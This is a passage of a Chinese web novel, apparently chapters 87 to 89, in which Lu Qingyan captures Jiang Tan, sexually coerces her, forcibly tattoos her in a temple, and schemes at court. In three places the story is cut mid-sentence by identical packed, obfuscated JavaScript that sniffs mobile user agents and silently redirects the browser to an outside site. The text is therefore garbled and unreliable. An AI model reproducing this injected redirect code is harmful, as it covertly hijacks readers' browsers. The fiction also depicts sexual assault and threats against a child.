揽镜自照,一头长发垂于肩上,落至腰际。 除却头上三千烦恼丝,他两手空空,灵台清明。 一无所有。 凡所有相,皆是虚妄。 一切难舍,无过己财。 无论什么东西,握得越紧,越是抓不住。与其如此,不如放下。 陈兴平写信来问,要不要派杀手去时,他同意了。 陆青檐想,他已舍下很多东西,再舍一件,似乎也不是什么难事。 左眼影影绰绰,可见白影。 陆青檐捂住左眼,右眼聚焦,虚晃的人影逐渐清晰。 他并没有派人确认,陈兴平提到的那个蛮女,究竟是不是他一直在找的那个人。 无所谓是与不是,就这么稀里糊涂地杀掉,亦未尝不可。 若见诸相非相,即见如来。 然而姜昙却没死,比如来先一步降临到了他的眼前。 这真是糟糕极了。 陆青檐放下手,左眼模糊,看不清楚东西,连带着右眼也不能精准视物。 这么看,下面跪着的人一点也不像姜昙。 陆青檐转身背对几人。 今日,他就当没有听见那声呼喊。五年前河边未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14545150|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做完之事,应该在此时有个了结。 手中停滞的佛珠捻动起来。 人之将死,他大发慈悲,要为他们超度。 “动手。” 陆青檐吩咐道。 . 那个丑女人忽然叫出这么一声,姚卓原本是吓了一跳的。 可是陆青檐的表现也很不对劲,仿佛是以前认识的人,关系匪浅。 这么一来,手中这个怪异的小孩,也跟一件上好的瓷器似的,必须轻拿轻放了。 这时,他忽然听到陆青檐说:“动手。” 原本的计划,只是折辱一番陆昇,现在看来,是要动真格的了。 姚卓兴奋地吩咐:“动手!” 院子里涌入无数官兵,皆持刀朝陆昇而去。 陆昇抢了一把刀,与官兵对抗起来,因为要护着大夫人,显得捉襟见肘。 双拳难敌四手,姜昙看出来,他抵抗不了多久。 方才两个制住她的婆子,真以为姜昙和主人有什么不得了的关系。然而仔细观察一会儿后,发现姜昙只是虚张声势。 于是拿了绳子,一前一后围住了她。 姜昙从她们的眼中看到杀意。 她们不仅想绑她,还想杀了她。真以为她在边陲这么多年是吃素的么? 姜昙不动声色地跪着,趁婆子接近时,忽然挥手撒出一包药粉,将其中一个迷得吃痛大叫。 而后瞅准时机,迅速朝阶梯上跑去。 另一个婆子大叫:“快抓住她!那个女人手里有毒药!” 姚卓一听有毒药,连忙躲至一旁,指挥手下:“快杀了她!” 几个官兵立刻挥刀砍过来。 姜昙的目标本来就不是姚卓,不远处的人影想走,姜昙立刻叫了他一声:“阿庸。” 陆青檐手中的念珠停滞。 正是这一停的功夫,姜昙手中的匕首立刻逼上脖颈。 姜昙的声音悠悠传来:“陆庸,若想活命,就下令放了所有人。” 陆青檐抬眼,官兵们谨慎地留在五步之外。 他想,真是一群废物。 这么远的距离,都能让主子被一个女人劫持。 陆青檐没有动静,姜昙以为他没有听清,匕首挑开他的头发,紧紧压在颈上血脉:“说话。” “奸夫□□。” “什么?” 姜昙险些以为自己听错了,忽然听到陆青檐下令:“贼子登堂入室,嚣张作乱,可恶至极。所有人听令,不用顾忌本官的性命,动手!” 一声令下,官兵们犹豫片刻,竟真地一涌而上。 疯子! 姜昙咬牙切齿地挟持着陆青檐,边躲边退。 乌日塔还在姚卓身边,而手边的陆青檐是最没用的,带着还是拖累。 犹豫片刻,姜昙果断将陆青檐推开,去找乌日塔。 错身的一瞬间,姜昙近距离看到了陆青檐面无表情的脸,仿若无知无觉的木偶。 眼神虚浮地盯着她,左眼没有神采,身躯重重跌靠在柱子上。 “大公子,来了!” 喜安出现在门口,高高地抛过去一个物什。 陆昇接住,扬声喝道:“扬州冤案堆积,有百姓击鼓告御状。皇上命我彻查此事,所有人立刻停手,否则一律按阻碍查案处置!” 陆昇手中握的,正是京城来的旨意。 官兵们面面相觑,放下了刀。 姚卓瞪大眼珠,看了看陆昇,又看了看陆青檐:“长公子?” 陆青檐并不答话。 陆昇又拿出一卷文书,对陆青檐说:“陆大人,皇上急召你回京。” 陆青檐缓缓站直身躯,与陆昇相触的眼神变得冷厉。 . 姜昙抱着乌日塔站在门外。 门内是一身孝服的陆昇,跪在陆母的牌位前拜了拜。 陆母的棺柩已被姚卓强逼着下葬,陆昇没能见到她最后一面,也没能送一送她。 不多时,有人来催促:“陆大人有请。” 陆昇跟随那人出来,看到姜昙,扯了扯嘴角:“你若想走,现在是最好的时机。” 姜昙想了想问:“你这个身份能压他几时?” 陆昇说:“至少可保你顺利出扬州。” 看起来,趁陆青檐不在京城,陆昇动了什么手脚。 姜昙点头又摇头。 她抱着乌日塔往先前住的小院走,背上的伤口隐隐作痛。先前没有躲开,被刀划了一个口子,并没有别人注意到。 姜昙草草敷了药,换了件外衣,外表看不出来。 小路尽头,站着一个人。 柴小虎恭敬地说:“长公子有请。” 他方才明明传见了陆昇,怎么还能同时见自己。 姜昙一瞬间反应过来,陆昇是被刻意引开的。 她豁然转身,准备逃跑,却在转头的瞬间,看到了陆青檐。 “来——” “这是陆昇的住处,附近有他的人,你怕什么呢?” 陆青檐缓缓走近:“圣旨一到,扬州于我是龙潭虎穴。我只有几句话同你说,说完就走。” 此刻凑近了,姜昙才有空看他的装扮。 披头散发,是他昔日最不屑的野人模样。不仅佛珠不离手,衣服上似乎也有佛家梵印。 姜昙不由嗤笑:“我想杀你,你想杀我。不死不休的敌人,有什么话好说?” 陆青檐脸上没有任何怒色:“我此次出来得匆忙,没有带多少人手。而陆昇接管了扬州府的人马,如今要杀要剐,都随他心意。我的性命在他手里,所以我并不能对你们怎么样。姜昙,你找了个好靠山。” 姜昙并不是很信他的话。 陆青檐摊开手:“我找你,是要一桩旧物:我的指环。若是身体有缺,死后便不能往西方极乐世界。如今你我无任何关系,那毕竟是属于我的东西,还给我。” 姜昙沉默。 她怎么也想不到,陆青檐找她竟然是为了这种事。 乌日塔察觉到她的紧张,在姜昙的怀中扭头看过来。 姜昙说:“我放在随行的包袱里,你先让我回去,再差人拿给你。” 陆青檐垂眸,似在考虑,随后说:“我就在这里等你。” “好。” 身后是武功高强的柴小虎,姜昙选择从陆青檐身边过去,她浑身紧绷,手心里藏着匕首和药粉。 陆青檐侧身让开,忽然说: “这些年,你有没有念过我?” “我念着杀了你。” 陆青檐说:“极好,我也想杀了你。你既和陆昇在一起,最好躲得远远的,此次我拿你们没办法,可下一次,我绝对会将你们千刀万剐。” 姜昙心尖颤了颤:“同样的话,我也……” 她忽然觉得头晕目眩。 视野中的陆青檐,摇摇欲坠。 声音似从很远的地方传来:“姜昙,我早知道你将指环丢在河底。” 88. 第 88 章 再醒来时,眼前是氤氲而起的白雾。 昏暗的佛堂内,薄烟袅袅散开,后面是陆青檐的脸。 姜昙躺在蒲团上,陆青檐跪在身旁。 见她醒来,陆青檐垂眸看过来。一眼染上冰霜,一眼灰败无神。 他缓缓开口:“你与陆昇,是何时在一起的?” 都说她与陆昇在一起,可是她才与陆昇没见过几次面。 五年前,只有出城时那一次交集。相熟起来,也只是最近的事。真正算来,他们才认识不到两月。 陆青檐还是和以前一样。 面上平静,实则背地里早就装下去了吧,或是恨不得掐死她。 姜昙坐起来:“你猜?” 陆青檐面无表情地看着她,忽然开始挽袖子,慢条斯理地用巾帕擦手。 她还记得,这是他的习惯。以前两人亲近之前,他总会洗过一遍又一遍。 姜昙察觉不对,下意识后退。 然而只是这样细微的动作,似乎激怒了陆青檐。他回报以百倍千倍的力气,猛然扑过来,整个身体的重量都压在姜昙身上。 “安分待着。” 一手按着姜昙的肩膀,不让她起身。另一只手从肩膀、脊骨,越过腰肢,一寸一寸地,细细地按压、摸索。 “滚!” 姜昙的手脚被制住,动弹不得,只能怒骂。 陆青檐不受影响。 手掌有力地丈量过她的每一寸肌肤,隔着衣服摸到腿骨。 他没有丝毫犹豫,撕开她的衣摆,将断裂的腰带丢到地上。 姜昙察觉到微微的凉意,发现衣襟被掀开了,肌肤暴露在空气中。 陆青檐凑得很近,细细地察看着。 随后,他腾出一只手,没有阻隔地触碰着。手指落在腰际,随后向下探了进去。 无比清晰的感觉从那处传来,耻意涌上心头,姜昙涨红了脸色。 然而很快她意识到,陆青檐的动作不带一丝情.欲—— 他是在探寻,自己有没有生过孩子。 医书上记载,生产过的妇人,身体会变得和以前大不一样。 看来他这些年没少看医书。 姜昙冷笑问他:“摸清楚了吗?我与别的男人睡过几次,生过几个孩子,能摸出来吗?” 陆青檐的动作停了许久。 她身体的变化明明白白告诉他,那个哑巴是她的亲子,她为陆昇生了个儿子。 在她身躯上游移的视线收回,陆青檐缓缓与她对视。 “怎么,很惊讶吗?除了你,这世上还有许许多多别的男人。你不知道吧,边陲也有秦楼楚馆,不止接待男人,还接待女人。那儿的小倌年轻俊美,跳舞十分好看。每回过去,都能教我看花了眼。” 姜昙笑了笑:“五年这么久,长夜漫漫,我一个人总是难熬,少不得要找人作陪。” 陆青檐低下头来,吐出二字: “荡、妇。” 姜昙听出咬牙切齿的意味。 自重逢开始,他一成不变的面上终于有了裂缝。像是烧坏的瓷器,顺着一道狭窄的缝隙,窥见里面囫囵的失败。 姜昙嗤笑:“抓着荡.妇不放,陆大人,你又算什么东西?” 陆青檐死死盯着她,忽而露出一个笑容。 “过来。” 他压低声音说着。 一边站起来,抓起她的胳膊,不顾她还未站稳,扯着她往侧门去。 姜昙这才发现,这是一件侧室,跌跌撞撞地跨过侧门,入目是一间大殿。 大殿之内,列着数十座佛像和金刚像,皆是数丈之高。 金刚怒目,菩萨低眉。 远远望着,不自觉教人心生畏惧。 陆青檐突然停下。 姜昙气喘吁吁抬头,发觉面前是一尊宝相庄严的菩萨像,低眉垂眼,满面慈悲。 再次开口,陆青檐的语气已经十分平静:“姜昙,既然喜欢边陲,为什么要回来,死在那里不好吗?偏偏要出现在我面前,碍我眼,阻我青云路。” 姜昙说:“没办法,谁叫我和陆昇一起呢?他要回来,问我要不要一起,我答应了。” 这话落在陆青檐耳中,自然变成了另一番意思。 他蓦地扯着姜昙,跪在蒲团上。 “身有污秽,唯死可净。” 陆青檐锐利的视线看过来,同时手上递过来一个签筒:“我佛慈悲,给你最后一次机会。选中生路,从此你我恩怨两消,再无关系。选中死路,我便替佛执刀,送你上路。” 姜昙并不接:“凭什么?” 陆青檐扬声说:“进来。” 大殿门被推开,柴小虎悄无声息地接近,跪在地上,手心向上,送上一物。 姜昙抖着手拿起来,那是乌日塔身上的平安符。 陆青檐淡漠的语调响起:“若你不应,就是死路。我会在杀了你以后,送这孽种上路。” 姜昙忍着泪意,狠狠说道:“你才是孽种。” 柴小虎悄无声息出去。 签筒再次送到面前,这一次,姜昙拿了起来。 筒中木签上刻着小字,一半生,一半死,公平得很。 姜昙将平安符握在掌心,闭目上下摇晃,三下,又三下。 与此同时,陆青檐睁开眼睛。 他抬头看去,菩萨慈悲无声地看着他,这一眼似乎有无尽的怜悯。 摇签者或因太过用力,或因力气太小,多是丢出太多或是一支未丢出。 然而姜昙摇得很准,一次就成。 嗒的一声,一支木签掉在地上。 姜昙听到动静,睁眼去捡。那木签背面朝上,有字的一面扣在地上,并不能看出是生是死。 掀开就知道了。 面前忽然多出一道阴影,陆青檐先一步将手掌按在木签上。 姜昙听到他开口:“姜昙,再问你一次。这些年,你究竟有没有念过我?” 姜昙淡淡看着他。 许多次他梦到这样一双眼,看过来时,似乎也有和菩萨一样的怜悯。 “陆昇哪里比我好?” “你抢了施茂林的位置,自然也有旁人抢走你的位置。” “说得有理。” 陆青檐松开手。 姜昙抓住木签,正要掀开。忽然被一只手重重一挥,她手中的木签摔出去,掉到了香台下。 姜昙手一怔,起身去香台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14573496|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捡木签。 背后传来陆青檐透露着浓烈狠意的低语:“姜昙,我真想杀了你。” 姜昙还未转过身来,就教人重重按在香台上。 随着脸颊触碰到冰凉厚重的檀木,她听到什么东西掉了一地,约莫是香台上的宝烛和香炉。 他果然舍不得动她。 姜昙的上半身都在香台上,胸口被挤压得呼吸困难,她挣了挣,换来的是更加大力的压迫。 挣不开,索性不动。 姜昙讥讽地说:“让我猜一猜,陆大人这五年是怎么过来的?听说你没有娶侍郎家的小姐,是不是还对我念念不忘呢?真是个贱骨头,别人恨不得杀了你,你却三番五次地……啊!” 背上的伤口传来阵阵痛意,如针尖一般刺遍全身,是陆青檐在用力挤压她的伤口。 “没有人告诉你,在处于弱势的时候,口舌之争是最无用的吗?”陆青檐低身在她耳边吐气:“姜昙,省着力气,待会儿再叫。” 话音刚落,衣帛撕裂声传来。 姜昙背上一阵清凉,陆青檐撕开了她背上的衣料。 陆青檐笑了笑:“这是陆昇给你包的?手法真差劲。” 他手下用力,将她草草包裹的纱布也扯开了,露出下面的刀伤。 右肩划过脊骨,是一道割裂的血痕,滚圆的血珠凝聚。 陆青檐用手指一点点挤着她的伤口,听着姜昙呼吸急促,声音温柔: “你知不知道,有些男人会在女人身上留下印记,叫做烧情疤。或是印花,或是印字。知道你和陆昇在一起后,我日夜都在思索一个问题,到底该怎么料理你。庆幸的是,我终于想到了一个办法。” 姜昙撑在香台上,想要站起来。 陆青檐手掌按在她的伤口上,重重一压,姜昙便又惊叫一声,摔下去。 头晕眼花中,她突然记起来这是在什么地方—— 扬州的佛寺。 当初她和施茂林一起来过这里,还被倾盆大雨困在山上几日。 这是当初几人跪拜过的佛殿,陆青檐竟选在这里做这种事! 门外传来打斗声。 陆昇来了! 姜昙再次挣扎起来:“扬州冤案传遍京城,姚卓必死无疑。这个节骨眼上,你迟迟不回,就不怕皇帝治你的罪吗!” 陆青檐将她的脸掰回去。 “陆昇故意把我引到扬州来,原本还想看看他有什么手段,没想到不过如此。你等着看,别以为我不知道,他趁我不在京城时做了手脚,别以为他手中的圣旨多么有用!就算我的人手不在这,他也成不了气候,阻不了我,更带不走你。” “那你就不怕我心怀不轨?五年不见,忽然出现在你眼前,你不觉得蹊跷?若我阻了你的大业呢?” 想通关窍,对姜昙的任何话他都不为所动:“从今往后,你与大业绑在一起,和我同生共死。” 姜昙眼角余光,看到陆青檐从香台上拿了什么东西,他大概早就准备好了。 片刻后,脊骨处传来针扎一样的刺痛,密密麻麻。 火燎一般,在后背烧成一片。 陆青檐的声音从上方传来: “姜昙,我助你净身、去秽。” 89. 第 89 章(补) 回京的大船上。 姜昙披衣坐在窗口,陆青檐推门进来,手上拿着药瓶。 每日这个时候,他就会过来,给她背上的刺伤上药,那大概是什么刺青,不知是什么形状。 姜昙趁无人时曾掀开衣服,只看到背后一片红痕,渗出血丝来,看不清刺的什么。 上完药,陆青檐往伤处吹了一口气,说:“再过两三日,就完全好了。” 姜昙拢好外衣,扭头问他:“你打算把我怎么办?回京之后,你还要像之前那样,将我关起来?” 陆青檐说:“怎么会?京城之内,你哪里都可以去。若要去京城之外的地方,得等我一等,至少两年以后。” 两年以后,他能做成什么事? 权倾朝野?他现在几乎已经是了。谋权篡位?是不是口气太大了。 姜昙想了想:“若我想去皇宫呢?” 陆青檐认真思索了一番:“只要不见皇上,随你自由。” 他的神情不似作伪,姜昙觉得没意思,索性不问了。 五年前的陆青檐总是高高在上,对许多人事不屑一顾。 五年之后,他似乎变得十分乖顺,无论她怎么试探,都不会生气一般。 甚至连神情都没有太大变化。 他不会真的遁入空门了吧。 两人就这么静静坐了会儿,不多时,陆青檐起身要离开。 姜昙心念一动,伸手拽住他的头发,陆青檐被扯得后仰,脚步顿了顿,转身看着她。 姜昙一寸一寸巡视他的脸上,没有发现一丝一毫的怒意。 前两日脑海中崩裂的瓷器,好像变成了错觉。 “怎么了?” 姜昙晃了晃他的发尾:“你以前不是这样的。” 陆青檐说:“这些年时而发病,吃了药后会有旁的遗症。发簪扯得我头疼,所以非上朝外出,就不绾发髻。” “原来如此。” 姜昙点点头,松手。 陆青檐出去。 行至几步远时,忽然听到背后一声唤:“阿年,进来。几日不见,娘亲很想你。” 陆青檐不由转身。 正看见那个五岁小童坐在小杌子上,身姿极为端正。一头拆开的小辫被姜昙梳顺,服帖地盖住耳朵。 似察觉到有人看他,小童抬眼看过来,一双眼睛漆黑无比,像是墙头虽晒着太阳仍然警惕的猫。 照看他的婢女说,这个小孩并不是哑巴,有时会短暂地吐出一些听不懂的话,像是胡语。 陆昇的儿子,怪异至极。 船行至京城。 陆青檐只来得及将姜昙送至府门,就匆匆离开。 他并不是忽然起兴致去扬州,而是猜到了陆昇会回来,在等他之时,恰好送祖母一程。 扬州陆家,所有人尽在掌握,只有陆昇是个变数。 趁他去扬州,这个变数联合京中那些不安分的人,给他使了个绊子。 . 陆青檐先去了一趟闫府。 门口有赵青林的人候着,一见他连忙迎,一边说:“赵公子在里面陪着阁老吃烟呢。” 陆青檐将马鞭丢给小厮,下马入府。 行至屋外,听到赵青林劝慰的声音:“义父,这算什么呐!凡朝中人,你说往东,谁敢往西?这一次不过是说岔了一个字,人非圣贤,圣人也会犯错。何况皇上也没说什么,过两天陪皇上吃一枚仙丹,这事就过去了。” 掀开屋帘,内里吞云吐雾,一时看不清人。 待烟气散了些,赵青林看见门口的人,连忙起身来:“您瞧,说曹操曹操到,长公子主意多,这事教他去办最合适。” 三月十四日,景胜帝在长宁宫潜心“修炼”,并未让内侍作陪。 一只老鼠咬断了蜡烛,一个没留神,墙面就烧黑了大半。 彼时内阁诸臣都在,闫慈正挨着座椅打盹。听见这个消息,立即带着几位官员赶了过去。 景胜帝当时并未发作,只问了闫慈一句:“长宁宫如今模样,朕该移去哪座宫住好,爱卿以为呢?” 天色昏暗,有位臣子给闫慈指了个方向。 闫慈立即答:“正清宫。” 正清宫是前朝皇帝驾崩之所,因病得突然,只在位十年就葬入皇陵。 景胜帝自从“修炼”后,对长生一道极为关注。相应地,对短命二字也极为敏感。 原本只是随口一问,随口一答,不想竟出了这样的岔子。 早已在回来的路上,陆青檐就将这件事的奏报反复看过几遍。此事可大可小,可偏偏有人不想轻轻揭过,非逼着他将此事大而处之。 一只烟已到了尽头,闫慈懒洋洋坐在椅子上,并未出声,似乎还在回想那日景胜帝的脸色。 皇上并没有对他说什么,只是冷了脸。 原本并没有发怒的意思,可自他说出“正清宫”三个字开始,他忽然追究起内侍的失职之罪来。 这几年,心思越发莫测。 陆青檐并不出声打扰,而是卷起袖子,从一旁的盒子中拿起碾碎的烟叶,轻轻地放在烟斗中。 随后恭敬地递过去。 闫慈的手伸过来,陆青檐看到他手上生出的一团岁月乌斑。 陆青檐说:“义父不必忧心,孩儿稍后就进宫,会将此事处置妥当。那名误导义父的官员,也会寻个由头将他拖到诏狱,给义父出一通气。” “我老了,万事你多操心。” 闫慈问:“对了,你去扬州一趟,是为什么事?” 陆青檐说:“祖母病危,扬州那边发了急信。孩儿幼时多由祖母照拂,不能不送她最后一程。” 闫慈叹气:“你有心了。” 陆青檐抬头微笑:“义父一向知道,庸最见不得亲人难过。” 闫慈满意点头。 . 从闫府出来时,赵青林赶在身后。 “方才阁老几次叹气,话里话外提及皇上近日心思敏感,脾气莫测。” 陆青檐不以为意:“许是又用了新的丹药,朱砂吃得多了。” “不止啊。” 见四下无人,赵青林凑近了低声说:“前两日内阁有位官员给皇上引荐了一位姓冯的道士,说是会扶乩之术,能识贤辨奸。” 动作可真快啊。 陆青檐侧首说:“过两日,引出来,杀了。” “这、这就杀了?” “历朝历代,凡是党争,必定死人。如果不杀人,你还指望感化他们吗?” 陆青檐说:“他们既知我的手段,还敢迎面上来,必定是做好了准备的。若是轻轻揭过,人头不保的就是你我了。此番也算杀鸡儆猴,好好震慑那些不安分的。” 他轻轻清理指上的痕迹,却还是能闻到方才呛人的浓郁味道。 低头嗅了嗅,才发现外衣上也沾染了那种气味。 陆青檐皱眉将外衣脱下,丢给赵青林:“下次不要从海外弄这些玩意儿,脏,臭。” 赵青林摇头晃脑:“此物是神药呢,凡食烟,一切抑郁愁闷,俱可藉以消遣。我不比你巧言令色,只能用这东西帮阁老排忧解难了。” 听到神药二字,陆青檐想起姜昙,她惯来喜欢收集这些药材。 或许可以带给她。 犹豫了会儿,陆青檐觉得还是算了。姜昙为了验证效用,必定会先试过一遍的。 他想了想她吞云吐雾的模样,觉得那必定是个荒诞的场景。 赵青林看着陆青檐嘴角若有若无的笑,浑身起了鸡皮疙瘩:“那道士怎么办?” 陆青檐翻身上马:“送吕神儒进宫去。” 他们送道士,他也送道士,看谁能技高一筹。 . 两日后,陆昇也回京了。 姜昙收到了来自边陲的信件,信封上是龙飞凤舞的“姜昙亲启”,她并不认识这四个字。 然而打开信封,是厚厚一沓信纸。 信纸上是歪歪扭扭的字迹,因执笔人初学习字,掌控不好力道,故而笔触落得粗又大,几个字就占满了一张纸。 姜昙一眼就认出这是紫珠的字。 在她的字夹缝处,信封上龙飞凤舞的字迹变得细而小,规规矩矩地挤在那里注释。 这是周胜的字迹。 单是看字迹,就能想象到两人写信时吵吵闹闹的画面。 姜昙忍俊不禁。 乌日塔安静地钻到她的怀里看信,姜昙知道他看不懂,还是一字一字解释给他听。 教他张口念,却还是不肯。 只睁着眼睛看着她,眼中似有千言万语,一句话都不说。 姜昙翻了许多医书,都没有找到这种病症的记载。也有写痴呆之症,一生如此,但姜昙不信。 她听到过他说话,他叫过娘。 “慢慢来。” 姜昙摸了摸乌日塔的小辫子:“娘亲想请你吃糖饼,你愿不愿意和我一起去买?” 乌日塔点头。 “阿年真乖。” 姜昙牵着乌日塔出门。 郑管家乐呵呵地迎上来,问她要去哪,是否要人跟着,银子够不够。 姜昙一概不理,兀自向前走。 到正门口,正碰见回家的陆青檐。他的身后还跟着一个白胡子老头,一身破烂装束,眼睛炯炯有神。 陆青檐停下来问:“要出门?” “是。” 他说过她哪里都可以去,现下是要反悔吗? 陆青檐什么都没说,只看了一眼姜昙身后的郑管家。方才一直跟着自己,现下倒是被陆青檐一个眼神吓退了。 “路上小心些。” 陆青檐只嘱咐这一句。 待姜昙牵着乌日塔从他身边经过,陆青檐忽然抬手摸了摸乌日塔的小辫。 姜昙看过来,发现他低头笑了笑:“阿年,你喜不喜欢玩双陆?我叫下人准备了一副,等你回来送你房里去。” 乌日塔离不得她,总是睡在隔间。 姜昙看了一眼白胡子老头:“你先忙你的,其他等回来再说吧。” 陆青檐说:“那我先进去了。” 待他们走了,姜昙才和乌日塔出门去。 身后的花荫下,陆青檐淡漠地看着两人的背影。 白胡子老头打了个酒嗝:“小公子都这么大了,咱来得急,什么都没准备。” 许久,陆青檐平静开口:“你认错了,那不是我的儿子。” 白胡子老头瞪大眼睛:“那个女人她——” “那是我的夫人。” 陆青檐面无表情。 两人去了书房,陆青檐静静斟茶,白胡子老头端起来,愣是没敢喝。 陆青檐问:“吕先生,宫里怎么样?” 吕先生得意地说:“不办好事情,咱怎么敢喝庆功酒呢!那道士教我比下去后,再没脸出来见人啦,应该是卷铺盖回家去了。” 陆青檐短暂地笑了一下。 “招摇撞骗,欺瞒天子。他不是回家了,而是死了。” 吕先生的笑容一滞,他没想到还有这样的内情。 整个人不由哆嗦起来:“那我怎么办?” “吕先生是当时神儒,博古通今,呼风唤雨,深受皇上宠信,怎么能和他一样。” “咱也是个骗子……要不咱还是回乡去,有肉吃有酒喝,舒舒坦坦的,还有女人陪……” 陆青檐淡淡瞥他一眼,吕先生这话不敢往下说了。 “我在这,保你无事。” 听得这话,吕先生又放心了。 酒嗝打出来,他又迷蒙起来,盯着桌上的金玉镇纸起了心思:“咱最近手头有点紧……” 昨夜不仅喝了酒,还赌了钱,身上的银两都输光了。 陆青檐说:“待会儿让邓显带你去取。最近收敛些,不要被人看到。” “是是是。” 得了好处,吕先生又关心起陆青檐的近况:“方才见你心情不错,到家又心情不好起来……是不是为那个崽子?你也知道,咱以前是混过江湖的,要不要……” 茶盏在手心来回地转。 陆青檐在考虑,片刻后问:“你有把握不留尾巴吗?” . 姜昙买了三个糖饼。 她一个,乌日塔一个。因为不好吃独食,所以第三个送给陆昇。 走出陆宅不远,果然如她所料,陆昇的人来找她了。 “姜姑娘。”来人是喜安,他弯腰和乌日塔打招呼:“小公子。” 乌日塔还记得他。 在姜昙手忙脚乱的时候,是喜安给他绑的发辫。 喜安摊开手,手上是一个机关锁:“小公子,咱们去那边玩吧。” 这个机关锁显然比以前的那个更有难度,乌日塔接过来摆弄了一会儿,解不开。于是愈加专注,沉浸在自己的世界里。 姜昙离开两步,乌日塔立刻看过来。 姜昙说:“娘亲有个朋友要见,阿年能不能在这里等我一会儿?” 乌日塔点头,和喜安到一边去。 陆昇竟在首饰铺子等她。 姜昙找到他时,陆昇正让掌柜将一对手镯拿出来看,眼睛忙得不可开交。 “你怎么对这些有兴趣?” 拿出来的这些,陆昇都不满意,掌柜只得往库房里去找。 陆昇这才有空跟她说话:“周胜喜事将近,托我帮他挑一挑。” 愣了片刻,姜昙反应他说的喜事是什么:“紫珠有孕了!” 他挑起这个话头,却不继续往下说了,转而说起另一件事: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14587659|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “二十二日,也就是昨日。陆青檐向皇上引荐吕神儒,和冯道士斗法,召来乌云急雨。冯道士败,今晨已被处死。” 姜昙一头雾水。 陆昇说:“冯道士是我们的人,擅长扶乩之术。长宁宫失火一事后,他应皇上所求,卜出闫慈为奸,只在皇上面前得宠了七日。” 姜昙不知道长宁宫失火的来龙去脉,却知道皇上宠信意味着什么。 卜出闫慈为奸,说明皇上信了。 然而圣心只偏移了七日,就叫陆青檐再度笼络住。 听说皇上许多年不上朝,日常便是服用丹药,专心修炼。 像是沉溺在漩涡中,被冯道士短暂地拉出来一下,又被陆青檐按下去。 姜昙肃然道:“闫党根深蒂固,你们最好从长计议。” 陆昇摇头:“停不下来了。第一刀已经挥出去,冯道士死了。若是无动于衷,接下来就是内阁的人,朝臣……再接下来,或许就轮到我了。” 姜昙察觉到他话中有异,忽然扭头看去。 说着陆昇的方向,她看到了门口的陆青檐,他一手牵着乌日塔,一边看过来。 “阿昙,你去哪了?阿年一个人站在外面,险些走丢。” 姜昙看向乌日塔,后者从陆青檐手中挣脱,投入姜昙的怀抱。 他鲜少这样主动,一定是发生了什么事。 陆青檐问:“昇弟,你回来了?扬州的事查得怎么样?” 陆昇笑了笑:“拖长兄的福,一切都好。想来先前那么多冤案,都是谣传。” 陆青檐点头:“正是。如今这世道,遍地刁民。” 随后对姜昙说:“阿昙,我只是路过,还有事要办。你们逛完先行回府。” 姜昙直起身来看他:“我逛完了,和你一起走。” 她疑心陆青檐又跟踪自己,面上大气,私底下小心眼。 陆青檐诧异地看她一眼:“那自然好。” 离开时,姜昙对陆昇留下一句话:“你先前说的事,我答应了。” 陆青檐一个字都没问。 外面候着马车,陆青檐没有骗她,果然有事要办。 车上睡着一个醉醺醺的白胡子老头,正是他们在府里见过的那一个。 马车停在赌坊门前,陆青檐的小厮将一包银子递给门房,后者点头哈腰地接过:“欢迎大爷下次来玩。” 两个小厮将白胡子老头抬下马车,送到了赌坊里去。 姜昙全程皱眉看着,她以为陆青檐又在做什么不得了的勾当。 陆青檐解释:“他算我的师父,按辈分,阿年该叫他一声爷爷。年纪大了,只有喝酒和赌钱两个爱好。” 姜昙方才仔细察看过他的面相:“此人脸色涨红,脚步发虚。若长此以往,不能长久。” 陆青檐却说:“他早年上过战场,一到阴雨天就浑身疼痛,只有喝酒和赌钱的时候才是快乐的。人生苦短,我倒觉得该如他这般,及时行乐才好。” 姜昙不赞同地摇头。 陆青檐笑了笑,转向一旁专心玩机关锁的乌日塔。 他两指将机关锁拿出来,翻转着观察片刻,一番捣鼓,很快将机关锁拆开。 “看,很简单。” 不多时,又将机关锁还原,放回乌日塔手里。 乌日塔的内心受到震撼。 他不再只是对机关锁感兴趣,视线上移,反而对陆青檐的手指生出了兴趣。 他想知道是怎么做到的。 陆青檐放慢动作,耐心地在他面前演示一遍。 乌日塔学的很快,没过一会儿,就和陆青檐做的一模一样。 “他很聪明,念书了没有?” 陆青檐说:“前几日我在京中找了几位先生,不知道你满不满意。待明日把他们请到府里,你和阿年挑一个喜欢的,以后就让他在府里教阿年读书。” 乌日塔连话都不肯说。 姜昙教他读书、念信,他也只是听着,似懂非懂。 他在某些方面异常敏锐,学习能力很快,比如机关锁,又比如姜昙的医术。 相应的,在另一些方面就有些迟钝,比如开口说话,比如读书习字。 